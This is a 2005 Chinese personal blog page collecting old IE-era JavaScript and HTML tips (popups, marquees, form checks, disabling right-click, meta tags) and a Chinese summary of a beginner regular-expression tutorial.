关于作者

用户名:viewercq
笔名:viewercq
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



My Favorites

访问统计:
文章个数:9
评论个数:1
留言条数:2




Powered by BlogDriver 2.1

viewercq的博客

 

欢迎访问viewercq的博客

文章

55种网页常用小技巧(javascript)

41、email地址的分割
把如下代码加入<body>区域中
<a href="
webmaster@sina.commailto:webmaster@sina.com">webmaster@sina.com</a>

42、流动边框效果的表格
把如下代码加入<body>区域中
<SCRIPT>
l=Array(6,7,8,9,'a','b','b','c','d','e','f')
Nx=5;Ny=35
t="<table border=0 cellspacing=0 cellpadding=0 height="+((Nx+2)*16)+"><tr>"
for(x=Nx;x<Nx+Ny;x++)
t+="<td width=16 id=a_mo"+x+"> </td>"
t+="</tr><tr><td width=10 id=a_mo"+(Nx-1)+"> </td><td colspan="+(Ny-2)+" rowspan="+(Nx)+"> </td><td width=16 id=a_mo"+(Nx+Ny)+"></td></tr>"
for(x=2;x<=Nx;x++)
t+="<tr><td width=16 id=a_mo"+(Nx-x)+"> </td><td width=16 id=a_mo"+(Ny+Nx+x-1)+"> </td></tr>"
t+="<tr>"
for(x=Ny;x>0;x--)
t+="<td width=16 id=a_mo"+(x+Nx*2+Ny-1)+"> </td>"
document.write(t+"</tr></table>")
var N=Nx*2+Ny*2
function f1(y){
for(i=0;i<N;i++){
c=(i+y)%20;if(c>10)c=20-c
document.all["a_mo"+(i)].bgColor="'#0000"+l[c]+l[c]+"'"}
y++
setTimeout('f1('+y+')','1')}
f1(1)
</SCRIPT>

43、JavaScript主页弹出窗口技巧
窗口中间弹出
<script>
window.open("
http://www.cctv.com","","width=400,height=240,top="+(screen.availHeight-240)/2+",left="+(screen.availWidth-400)/2);
</script>
============
<html>
<head>
<script language="LiveScript">
function WinOpen() {
   msg=open("","DisplayWindow","toolbar=no,directories=no,menubar=no");
   msg.document.write("<HEAD><TITLE>哈 罗!</TITLE></HEAD>");
   msg.document.write("<CENTER><H1>酷 毙 了!</H1><h2>这 是<B>JavaScript</B>所 开 的 视 窗!</h2></CENTER>");
}
</script>
</head>
<body>
<form>
<input type="button" name="Button1" value="Push me" onclick="WinOpen()">
</form>
</body>
</html>

==============

一、在下面的代码中,你只要单击打开一个窗口,即可链接到赛迪网。而当你想关闭时,只要单击一下即可关闭刚才打开的窗口。
   代码如下:
  <SCRIPT language="JavaScript">
  <!--
  function openclk() {
  another=open('http://www.ccidnet.com','NewWindow');
  }
  function closeclk() {
  another.close();
  }
  //-->
  </SCRIPT>
  <FORM>
  <INPUT TYPE="BUTTON" NAME="open" value="打开一个窗口" onClick="openclk()">
  <BR>
  <INPUT TYPE="BUTTON" NAME="close" value="关闭这个窗口" onClick="closeclk()">
  </FORM>

  二、上面的代码也太静了,为何不来点动感呢?如果能给页面来个降落效果那该多好啊!
  代码如下:
  <script>
  function drop(n) {
  if(self.moveBy){
  self.moveBy (0,-900);
  for(i = n; i > 0; i--){
  self.moveBy(0,3);
  }
  for(j = 8; j > 0; j--){
  self.moveBy(0,j);
  self.moveBy(j,0);
  self.moveBy(0,-j);
  self.moveBy(-j,0);
  }
  }
  }
  </script>
  <body onLoad="drop(300)">

  三、讨厌很多网站总是按照默认窗口打开,如果你能随心所欲控制打开的窗口那该多好。
  代码如下:
  <SCRIPT LANGUAGE="JavaScript">
  <!-- Begin
  function popupPage(l, t, w, h) {
  var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=yes" +
  ",left=" + l + ",top=" + t + ",width=" + w + ",height=" + h;
  var URL = "
http://www.80cn.com";
  popup = window.open(URL,"MenuPopup",windowprops);
  }
  // End -->
  </script>
  <table>
  <tr>
  <td>
  <form name=popupform>
  <pre>
  打开页面的参数<br>
  离开左边的距离: <input type=text name=left size=2 maxlength=4> pixels
  离开右边的距离: <input type=text name=top size=2 maxlength=4> pixels
  窗口的宽度: <input type=text name=width size=2 maxlength=4> pixels
  窗口的高度: <input type=text name=height size=2 maxlength=4> pixels
  </pre>
  <center>
  <input type=button value="打开这个窗口!" onClick="popupPage(this.form.left.value, this.form.top.value, this.form.width.value, this.form.height.value)">
  </center>
  </form>
  </td>
  </tr>
  </table>你只要在相对应的对话框中输入一个数值即可,将要打开的页面的窗口控制得很好。

44、页面的打开移动
把如下代码加入<body>区域中
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
for (t = 2; t > 0; t--) {
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(0,-x);
  }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(0,x);
  }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(x,0);
  }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(-x,0);
    }
  }
}
//-->

//  End -->
</script>

45、显示个人客户端机器的日期和时间
<script language="LiveScript">
<!-- Hiding
  today = new Date()
  document.write("现 在 时 间 是: ",today.getHours(),":",today.getMinutes())
  document.write("<br>今 天 日 期 为: ", today.getMonth()+1,"/",today.getDate(),"/",today.getYear());
// end hiding contents -->
</script>

46、自动的为你每次产生最後修改的日期了:
<html>
<body>
This is a simple HTML- page.
<br>
Last changes:
  <script language="LiveScript">
  <!--  hide script from old browsers
    document.write(document.lastModified)
  // end hiding contents -->
  </script>
</body>
</html>

47、不能为空和邮件地址的约束:
<html>
<head>
<script language="JavaScript">
<!-- Hide

function test1(form) {
  if (form.text1.value == "")
    alert("您 没 写 上 任 何 东 西, 请 再 输 入 一 次 !")
  else {
   alert("嗨 "+form.text1.value+"! 您 已 输 入 完 成 !");
  }
}

function test2(form) {
  if (form.text2.value == "" ||
      form.text2.value.indexOf(
'@', 0) == -1)
        alert("这 不 是 正 确 的 e-mail address! 请 再 输 入 一 次 !");
  else alert("您 已 输 入 完 成 !");
}
// -->
</script>
</head>

<body>
<form name="first">
Enter your name:<br>
<input type="text" name="text1">
<input type="button" name="button1" value="输 入 测 试" onClick="test1(this.form)">
<P>
Enter your e-mail address:<br>
<input type="text" name="text2">
<input type="button" name="button2" value="输 入 测 试" onClick="test2(this.form)">
</body>

48、跑马灯
<html>
<head>
<script language="JavaScript">
<!-- Hide
var scrtxt="怎麽样 ! 很酷吧 ! 您也可以试试."+"Here goes your message the visitors to your page will "+"look at for hours in pure fascination...";
var lentxt=scrtxt.length;
var width=100;
var pos=1-width;
function scroll() {
  pos++;
  var scroller="";
  if (pos==lentxt) {
    pos=1-width;
  }
  if (pos<0) {
    for (var i=1; i<=Math.abs(pos); i++) {
      scroller=scroller+" ";}
    scroller=scroller+scrtxt.substring(0,width-i+1);
  }
  else {
    scroller=scroller+scrtxt.substring(pos,width+pos);
  }
  window.status = scroller;
  setTimeout("scroll()",150);
  }
//-->
</script>
</head>
<body onLoad="scroll();return true;">
这里可显示您的网页 !
</body>
</html>

49、在网页中用按钮来控制前页,后页和主页的显示。
<html>
<body>
<FORM NAME="buttonbar">
     <INPUT TYPE="button" VALUE="Back" onClick="history.back()">
     <INPUT TYPE="button" VALUE="JS- Home" onClick="location='script.html'">
     <INPUT TYPE="button" VALUE="Next" onCLick="history.forward()">
</FORM>
</body>
</html>

50、查看某网址的源代码
把如下代码加入<body>区域中
<SCRIPT>
function add()
{
var ress=document.forms[0].luxiaoqing.value
window.location="view-source:"+ress;
}
</SCRIPT>

输入要查看源代码的URL地址:
<FORM><input type="text" name="luxiaoqing" size=40 value="
http://"></FORM>
<FORM><br>
<INPUT type="button" value="查看源代码" onClick=add()>
</FORM>

51、title显示日期
把如下代码加入<body>区域中:
<script language="JavaScript1.2">
<!--hide
var isnMonth = new
Array("1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月");
var isnDay = new
Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六","星期日");
today = new Date () ;
Year=today.getYear();
Date=today.getDate();
if (document.all)
document.title="今天是: "+Year+"年"+isnMonth[today.getMonth()]+Date+"日"+isnDay[today.getDay()]
//--hide-->
</script>

52、显示所有链接
把如下代码加入<body>区域中
<script language="JavaScript1.2">
<!--
function extractlinks(){
var links=document.all.tags("A")
var total=links.length
var win2=window.open("","","menubar,scrollbars,toolbar")
win2.document.write("<font size='2'>一共有"+total+"个连接</font><br>")
for (i=0;i<total;i++){
win2.document.write("<font size='2'>"+links[i].outerHTML+"</font><br>")
}
}
//-->
</script>
<input type="button" onClick="extractlinks()" value="显示所有的连接">

53、回车键换行
把如下代码加入<body>区域中
<script type="text/javascript">               
function handleEnter (field, event) {
  var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
  if (keyCode == 13) {
   var i;
   for (i = 0; i < field.form.elements.length; i++)
    if (field == field.form.elements[i])
     break;
   i = (i + 1) % field.form.elements.length;
   field.form.elements[i].focus();
   return false;
  }
  else
  return true;
 }     

</script>
<form>
<input type="text" onkeypress="return handleEnter(this, event)"><br>
<input type="text" onkeypress="return handleEnter(this, event)"><br>
<textarea>回车换行

54、确认后提交
把如下代码加入<body>区域中
<SCRIPT LANGUAGE="JavaScript">
<!--
function msg(){
if (confirm("你确认要提交嘛!"))
document.lnman.submit()
}
//-->
</SCRIPT>
<form name="lnman" method="post" action="">
  <p>
    <input type="text" name="textfield" value="确认后提交">
  </p>
  <p>
    <input type="button" name="Submit" value="提交" onclick="msg();">
  </p>
</form>

55、改变表格的内容
把如下代码加入<body>区域中
<script language=javascript>
var arr=new Array()
arr[0]="一一一一一";
arr[1]="二二二二二";
arr[2]="三三三三三";
</script>

<select onchange="zz.cells[this.selectedIndex].innerHTML=arr[this.selectedIndex]">
  <option value=a>改变第一格</option>
  <option value=a>改变第二格</option>
  <option value=a>改变第三格</option>
</select>

<table id=zz border=1>
  <tr height=20>
    <td width=150>第一格</td>
 <td width=150>第二格</td>
 <td width=150>第三格</td>
  </tr>
</table>


- 作者: viewercq 2005年06月12日, 星期日 21:14  回复(0) |  引用(0) 加入博采

JavaScript实用的一些技巧
1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table

2. <body onselectstart="return false"> 取消选取、防止复制

3. onpaste="return false" 不准粘贴

4. oncopy="return false;" oncut="return false;" 防止复制

5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

7. <input style="ime-mode:disabled"> 关闭输入法

8. 永远都会带着框架
<script language="JavaScript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>

9. 防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

10. 网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>

11. <input type=button value=查看网页源代码
onclick="window.location = "view-source:"+ "http://www.pconline.com.cn"">

12.删除时确认
<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>

13. 取得控件的绝对位置
//Javascript
<script language="Javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>

14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

15. 判断上一页的来源
javascript:
document.referrer

16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>
<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE

17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>

18. 网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">

19.怎样让表单没有凹凸感?
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:

1 solid #000000"></textarea>

20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>


21.让弹出窗口总是在最上面:
<body onblur="this.focus();">

22.不要滚动条?
让竖条没有:
<body style="overflow:scroll;overflow-y:hidden">
</body>
让横条没有:
<body style="overflow:scroll;overflow-x:hidden">
</body>
两个都去掉?更简单了
<body scroll="no">
</body>

23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>

24.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain">
<input type=submit>
</form>

25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()

26.如何设定打开页面的大小
<body onload="top.resizeTo(300,200);">
打开页面的位置<body onload="top.moveBy(300,200);">

27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>

28. 检查一段字符串是否全由数字组成
<script language="Javascript"><!--
function checkNum(str){return str.match(//D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>

29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight

30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

32. 日期减去天数等于第二个日期
<script language=Javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

33. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

34.脚本永不出错
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>

35.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=Javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value=GO

onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1

onerror=auto("http://"+autourl+"")>")}
run()</script>

37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

38.页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)"> 
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
  0 矩形缩小
  1 矩形扩大
  2 圆形缩小
  3 圆形扩大
  4 下到上刷新
  5 上到下刷新
  6 左到右刷新
  7 右到左刷新
  8 竖百叶窗
  9 横百叶窗
  10 错位横百叶窗
  11 错位竖百叶窗
  12 点扩散
  13 左右到中间刷新
  14 中间到左右刷新
  15 中间到上下
  16 上下到中间
  17 右下到左上
  18 右上到左下
  19 左上到右下
  20 左下到右上
  21 横条
  22 竖条
  23 以上22种随机选择一种

39.在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.51js.com">

40.网页是否被检索
<meta name="ROBOTS" content="属性值">
  其中属性值有以下一些:
  属性值为"all": 文件将被检索,且页上链接可被查询;
  属性值为"none": 文件不被检索,而且不查询页上的链接;
  属性值为"index": 文件将被检索;
  属性值为"follow": 查询页上的链接;
  属性值为"noindex": 文件不检索,但可被查询链接;
  属性值为"nofollow": 文件不被检索,但可查询页上的链接。


from:http://dev.csdn.net/article/69/69926.shtm

- 作者: viewercq 2005年06月12日, 星期日 20:56  回复(0) |  引用(0) 加入博采

正则表达式高级学习技巧

前言
  Regular Expressions(正则表达式,以下用RE称呼)对小弟来说一直都是神密的地带,看到一些网络上的大大,简单用RE就决解了某些文字的问题,小弟便兴起了学一学RE的想法,但小弟天生就比较懒一些,总希望看有没有些快速学习的方式,于是小弟又请出Google大神,藉由祂的神力,小弟在网络上找到了Jim Hollenhorst先生的文章,经过了阅读,小弟觉得真是不错,所以就做个小心得报告,跟Move-to.Net的朋友分享,希望能为各位大大带来一丁点在学习RE时的帮助。Jim Hollenhorst大大文章之网址如下,有需要的大大可直接连结。

  The 30 Minute Regex Tutorial By Jim Hollenhorst

  http://www.codeproject.com/useritems/RegexTutorial.asp

  什么是RE?
  想必各位大大在做文件查找的时侯都有使用过万用字符”*”,比如说想查找在Windows目录下所有的Word文件时,你可能就会用”*.doc”这样的方式来做查找,因为”*”所代表的是任意的字符。RE所做的就是类似这样的功能,但其功能更为强大。

  写程序时,常需要比对字符串是否符合特定样式,RE最主要的功能就是来描述这特定的样式,因此可以将RE视为特定样式的描述式,举个例子来说,”\w+”所代表的就是任何字母与数字所组成的非空字符串(non-null string)。在.NET framework中提供了非常强大的类别库,藉此可以很轻易的使用RE来做文字的查找与取代、对复杂标头的译码及验证文字等工作。

  学习RE最好的方式就是藉由例子亲自来做做看。Jim Hollenhorst大大也提供了一个工具程序Expresso(来杯咖啡吧),来帮助我们学习RE,下载的网址是http://www.codeproject.com/useritems/RegexTutorial/ExpressoSetup2_1C.zip

  接下来,就让我们来体验一些例子吧。

  一些简单的例子
  假设要查找文章中Elvis后接有alive的文字符串的话,使用RE可能会经过下列的过程,括号是所下RE的意思:

  1. elvis (查找elvis)

  上述代表所要查找的字符顺序为elvis。在.NET中可以设定乎略字符的大小写,所以”Elvis”、”ELVIS”或者是”eLvIs”都是符合1所下的RE。但因为这只管字符出现的顺序为elvis,所以pelvis也是符合1所下的RE。可以用2的RE来改进。

  2. \belvis\b (将elvis视为一整体的字查找,如elvis、Elvis乎略字符大小写时)
“\b”在RE中有特别的意思,在上述的例子中所指的就是字的边界,所以\belvis\b用\b把elvis的前后边界界定出来,也就是要elvis这个字。

  假设要将同一行里elvis后接有alive的文字符串找出来,此时就会用到另外二个特别意义的字符”.”及”*”。”.”所代表就是除了换行字符的任意字符,而”*”所代表的是重复*之前项目直到找到符合RE的字符串。所以”.*”所指的就是除了换行字符外的任意数目的字符数。所以查找同一行里elvis后接有alive的文字符串找出来,则可下如3之RE。

  3. \belvis\b.*\balive\b (查找elvis后面接有alive的文字符串,如elvis is alive)

  用简单之特别字符就可以组成功能强大的RE,但也发现当使用越来越多的特别字符时,RE就会越来越难看得懂了。


再看看另外的例子
  组成有效的电话号码

  假使要从网页上收集顾客格式为xxx-xxxx的7位数字的电话号码,其中x是数字,RE可能会这样写。

  4. \b\d\d\d-\d\d\d\d (查找七位数字之电话号码,如123-1234)
  每一个\d代表一个数字。”-”则是一般的连字符号,为避免太多重复的\d,RE可以改写成如5的方式。

  5. \b\d{3}-\d{4} (查找七位数字电话号码较好的方法,如123-1234)
  在\d后的{3},代表重复前一个项目三次,也就是相等于\d\d\d。

  RE的学习及测试工具 Expresso

  因为RE不易阅读及使用者容易会下错RE的特性,Jim大大开发了一个工具软件Expresso,用来帮助使用者学习及测试RE,除了上面所述的网址之外,也可以上Ultrapico网站(http://www.Ultrapico.com)。安装完Expresso后,在Expression Library中,Jim大大把文章的例子都建立在其中,可以边看文章边测试,也可以试着修改范例所下的RE,马上可以看到结果,小弟觉得非常好用。各位大大可以试试。

  .NET中RE的基础概念
  特殊字符

  有些字符有特别的意义,比如之前所看到的”\b”、”.”、”*”、”\d”等。”\s”所代表的是任意空格符,比如说spaces、tabs、newlines等.。”\w”代表是任意字母或数字字符。

  再看一些例子吧
  6. \ba\w*\b (查找a开头的字,如able)
  这RE描述要查找一个字的开始边界(\b),再来是字母”a”,再加任意数目的字母数字(\w*),再接结束这个字的结束边界(\b)。

  7. \d+ (查找数字字符串)
  “+”和”*”非常相似,除了+至少要重复前面的项目一次。也就是说至少有一个数字。

  8. \b\w{6}\b (查找六个字母数字的字,如ab123c)

  下表为RE常用的特殊字符

  . 除了换行字符的任意字符
  \w 任意字母数字字符
  \s 任意空格符
  \d 任意数字字符
  \b 界定字的边界
  ^ 文章的开头,如”^The'' 用以表示出现于文章开头的字符串为”The”
  $ 文章的结尾,如”End$”用以表示出现在文章的结尾为”End”
  特殊字符”^”及”$”是用来查找某些字必需是文章的开头或结尾,这在验证输入是否符合某一样式时特别用有,比如说要验证七位数字的电话号码,可能会输入如下9的RE。

  9. ^\d{3}-\d{4}$ (验证七位数字之电话号码)

  这和第5个RE相同,但其前后都无其它的字符,也就是整串字符串只有这七个数字的电话号码。在.NET中如果设定Multiline这个选项,则”^”和”$”会每行进行比较,只要某行的开头结尾符合RE即可,而不是整个文章字符串做一次比较。

  转意字符(Escaped characters)

  有时可能会需要”^”、”$”单纯的字面意义(literal meaning)而不要将它们当成特殊字符,此时”\”字符就是用来移除特殊字符特别意义的字符,因此”\^”、”\.”、”\\”所代表的就是”^”、”.”、”\”的字面意义。

  重复前述项目

  在前面看过”{3}”及”*”可以用来重复前述字符,之后我们会看到如何用同样的语法重复整个次描述(subexpressions)。下表是使用重复前述项目的一些方式。

  * 重复任意次数
  + 重复至少一次
  ? 重复零次或一次
  {n} 重复n次
  {n,m} 重复至少n次,但不超过m次
  {n,} 重复至少n次

  再来试一些例子吧

  10. \b\w{5,6}\b (查找五个或六个字母数字字符的字,如as25d、d58sdf等)
  11. \b\d{3}\s\d{3}-\d{4} (查找十个数字的电话号码,如800 123-1234)
  12. \d{3}-\d{2}-\d{4} (查找社会保险号码,如 123-45-6789)
  13. ^\w* (每行或整篇文章的第一个字)
  在Espresso可试试有Multiline和没Multiline的不同。

  匹配某范围的字符

  有时需要查找某些特定的字符时怎么辨?这时中括号”[]”就派上了用场。因此[aeiou]所要查找的是”a”、”e”、”i”、”o”、”u”这些元音,[.?!]所要查找的是”.”、”?”、”!”这些符号,在中括号中的特殊字符的特别意义都会被移除,也就是解译成单纯的字面意义。也可以指定某些范围的字符,如”[a-z0-9]”,所指的就是任意小写字母或任意数字。

  接下来再看一个比较初复杂查找电话号码的RE例子

  14. \(?\d{3}[( ] \s?\d{3}[- ]\d{4} (查找十位数字之电话号码,如(080) 333-1234 )

  这样的RE可查找出较多种格式的电话号码,如(080) 123-4567、511 254 6654等。”\(?”代表一个或零个左小括号”(“,而”[( ]”代表查找一个右小括号”)”或空格符,”\s?”指一个或零个空格符组。但这样的RE会将类似”800) 45-3321”这样的电话找出来,也就是括号没有对称平衡的问题,之后会学到择一(alternatives)来决解这样的问题。

  不包含在某特定字符组里(Negation)

  有时需要查找在包含在某特定字符组里的字符,下表说明如何做类似这样的描述。

  \W 不是字母数字的任意字符
  \S 不是空格符的任意字符
  \D 不是数字字符的任意字符
  \B 不在字边界的位置
  [^x] 不是x的任意字符
  [^aeiou] 不是a、e、i、o、u的任意字符

  15. \S+ (不包含空格符的字符串)

  择一(Alternatives)

  有时会需要查找几个特定的选择,此时”|”这个特殊字符就派上用场了,举例来说,要查找五个数字及九个数字(有”-”号)的邮政编码。

  16. \b\d{5}-\d{4}\b|\b\d{5}\b (查找五个数字及九个数字(有”-”号)的邮政编码)

  在使用Alternatives时需要注意的是前后的次序,因为RE在Alternatives中会优先选择符合最左边的项目,16中,如果把查找五个数字的项目放在前面,则这RE只会找到五个数字的邮政编码。了解了择一,可将14做更好的修正。

  17. (\(\d{3}\)|\d{3})\s?\d{3}[- ]\d{4} (十个数字的电话号码)

  群组(Grouping)

  括号可以用来介定一个次描述,经由次描述的介定,可以针对次描述做重复或及他的处理。

  18. (\d{1,3}\.){3}\d{1,3} (寻找网络地址的简单RE)

  此RE的意思第一个部分(\d{1,3}\.){3},所指的是,数字最小一位最多三位,并且后面接有”.”符号,此类型的共有三个,之后再接一到三位的数字,也就是如192.72.28.1这样的数字。

  但这样会有个缺点,因为网络地址数字最多只到255,但上述的RE只要是一到三位的数字都是符合的,所以这需要让比较的数字小于256才行,但只单独使用RE并无法做这样的比较。在19中使用择一来将地址的限制在所需要的范围内,也就是0到255。

  19. ((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?) (寻找网络地址)

  有没有发觉RE越来越像外星人说的话了?就以简单的寻找网络地址,直接看RE都满难理解的哩。

  Expresso Analyzer View

  Expresso提供了一个功能,它可以将所下的RE变成树状的说明,一组组的分开说明,提供了一个好的除错环境。其它的功能,如部分符合(Partial Match只查找反白RE的部分)及除外符合(Exclude Match只不查找反白RE的部分)就留给各位大大试试啰。

  当次描述用括号群组起来时,符合次描述的文字可用在之后的程序处理或RE本身。在预设的情型下,所符合的群组是由数字命名,由1开始,由顺序是由左至右,这自动群组命名,可在Expresso中的skeleton view或result view中看到。

  Backreference是用来查找群组中抓取的符合文字所相同的文字。举例来说”\1”所指符合群组1所抓取的文字。

  20. \b(\w+)\b\s*\1\b (寻找重复字,此处说的重复是指同样的字,中间有空白隔开如dog dog这样的字)
(\w+)会抓取至少一个字符的字母或数字的字,并将它命名为群组1,之后是查找任意空格符,再接和群组1相同的文字。

  如果不喜欢群组自动命名的1,也可以自行命名,以上述例子为例,(\w+)改写为(?<Word>\w+),这就是将所抓取的群组命名为Word,Backreference就要改写成为\k<Word>
21. \b(?<Word>\w+)\b\s*\k<Word>\b (使用自行命名群组抓取重复字)

  使用括号还有许多特别的语法元素,比较通用的列表如下:

  抓取(Captures) 
  (exp) 符合exp并抓取它进自动命名的群组
  (?<name>exp) 符合exp并抓取它进命名的群组name
  (?:exp) 符合exp,不抓取它
  Lookarounds 
  (?=exp) 符合字尾为exp的文字
  (?<=exp) 符合前缀为exp的文字
  (?!exp) 符合后面没接exp字尾的文字
  (?<!exp) 符合前面没接exp前缀的文字
  批注Comment 
  (?#comment) 批注

  Positive Lookaround

  接下来要谈的是lookahead及lookbehind assertions。它们所查找的是目前符合之前或之后的文字,并不包含目前符合本身。这些就如同”^”及”\b”特殊字符,本身并不会对应任何文字(用来界定位置),也因此称做是zero-width assertions,看些例子也许会清楚些。

  (?=exp)是一个”zero-width positive lookahead assertion”。它指的就是符合字尾为exp的文字,但不包含exp本身。

  22. \b\w+(?=ing\b) (字尾为ing的字,比如说filling所符合的就是fill)
(?<=exp)是一个”zero-width positive lookbehind assertion”。它指的就是符合前缀为exp的文字,但不包含exp本身。

  23. (?<=\bre)\w+\b (前缀为re的字,比如说repeated所符合的就是peated)
  24. (?<=\d)\d{3}\b (在字尾的三位数字,且之前接一位数字)
  25. (?<=\s)\w+(?=\s) (由空格符分隔开的字母数字字符串)

  Negative Lookaround

  之前有提到,如何查找一个非特定或非在特定群组的字符。但如果只是要验证某字符不存在而不要对应这些字符进来呢?举个例子来说,假设要查找一个字,它的字母里有q但接下来的字母不是u,可以用下列的RE来做。

  26. \b\w*q[^u]\w*\b (一个字,其字母里有q但接下来的字母不是u)

  这样的RE会有一个问题,因为[^u]要对应一个字符,所以若q是字的最后一个字母,[^u]这样的下法就会将空格符对应下去,结果就有可能会符合二个字,比如说”Iraq haha”这样的文字。使用Negative Lookaround就能解决这样的问题。

  27. \b\w*q(?!u)\w*\b (一个字,其字母里有q但接下来的字母不是u)
  这是”zero-width negative lookahead assertion”。

  28. \d{3}(?!\d) (三个位的数字,其后不接一个位数字)

  同样的,可以使用(?<!exp),”zero-width negative lookbehind assertion”,来符合前面没接exp前缀的文字符串。

